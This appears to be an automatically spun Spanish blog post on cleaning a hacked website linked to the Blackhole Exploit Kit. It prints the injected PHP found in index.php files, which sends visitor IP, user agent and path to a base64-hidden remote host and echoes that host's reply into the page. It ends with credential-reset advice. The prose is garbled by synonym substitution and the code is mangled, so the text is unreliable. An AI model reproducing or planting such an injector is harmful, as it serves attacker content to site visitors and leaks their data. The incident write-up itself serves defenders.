Web Hackeada (BlackHole Exploit Kit)

he estado estos dos últimos trayectos revisando la web de un cliente que había sido Hackeada. Los antivirus de muchos de sus becarios les saltaban con el guiño de alerta de tío blackhole Exploit Kit y abortaban la conexión.

tras demostrar el log del cuidador y intentar varias papeletas por Ftp de una administración natal de Canadá, revisé los ficheros que parecían haber sido transformados por este foráneo. En este acontecimiento, diversos clasificadores index.php ricos en distintos inventarios del servidor.

en todos estos clasificadores se había englobado este fragmento de edicto Php.

<?php
if (!isset($sretry))
{
integral $Sretry;
$Sretry = 1;
// This code use for integral bot statistic
$Suseragent = Strtolower($_server['http_user_agent']); //  Looks for google serch bot
$Stcurlhandle = Null;
$Stcurllink = “”;
If((strstr($suseragent, ‘google’) == False)&&(strstr($suseragent, ‘yahoo’) == False)&&(strstr($suseragent, ‘baidu’) == False)&&(strstr($suseragent, ‘msn’) == False)&&(strstr($suseragent, ‘opera’) == False)&&(strstr($suseragent, ‘chrome’) == False)&&(strstr($suseragent, ‘bing’) == False)&&(strstr($suseragent, ‘safari’) == False)&&(strstr($suseragent, ‘bot’) == false)) // Bot comes
{
If(isset($_server['remote_addr']) == true && Isset($_server['http_host']) == true){ // Create  bot analitics
$Stcurllink = base64_decode( ‘ahr0cdovl2jyb3dzzxjnbg9iywxzdgf0lmnvbs9zdgf0rc9zdgf0lnboca==’).’?ip=’.urlencode($_server['remote_addr']).’&useragent=’.urlencode($suseragent).’&domainname=’.urlencode($_server['http_host']).’&fullpath=’.urlencode($_server['request_uri']).’&check=’.isset($_get['look']);
@$stcurlhandle = curl_init( $Stcurllink );
}
}
if ( $Stcurlhandle !== Null )
{
Curl_setopt($stcurlhandle, Curlopt_returntransfer, 1);
Curl_setopt($stcurlhandle, Curlopt_timeout, 6);
$Sresult = @Curl_exec($stcurlhandle);
if ($sresult[0]==”o”)
{$sresult[0]=” “;
echo $Sresult; // Statistic code end
}
Curl_close($stcurlhandle);
}
}
?>

el volumen compilado en Base64  ahr0cdovl2jyb3dzzxjnbg9iywxzdgf0lmnvbs9zdgf0rc9zdgf0lnboca contiene esta presidencia [http://hotlogupdate.com/stat/stat.php]

en este albur, el fuero es facilmente reconocible. En otras veces el estatuto abarcado es un javascript angustiado bastante mas dificil de detectar.

si vuestra web es hackeada e contagiada por este u otro tipo de edicto hipócrita es recomendable que toméis las subsiguientes medidas aparte de extender el peligroso estatuto claro …

1. Cambiar las credenciales de umbral al afiche de cuidado del Alojamiento (plesk, cpanel …)

2. Cambiar las credenciales de la factura Ftp

3. Revisar los personales desde los que se ha entrado con la relación Ftp cuyas credenciales parecen haber sido sustraidas en búsqueda de algún tipo de Troyano que el hacker haya podido beneficiarse para sustraerlas.

 
]]>



Este post se a creado automaticamente con autoblogger imperium descargalo Gratuito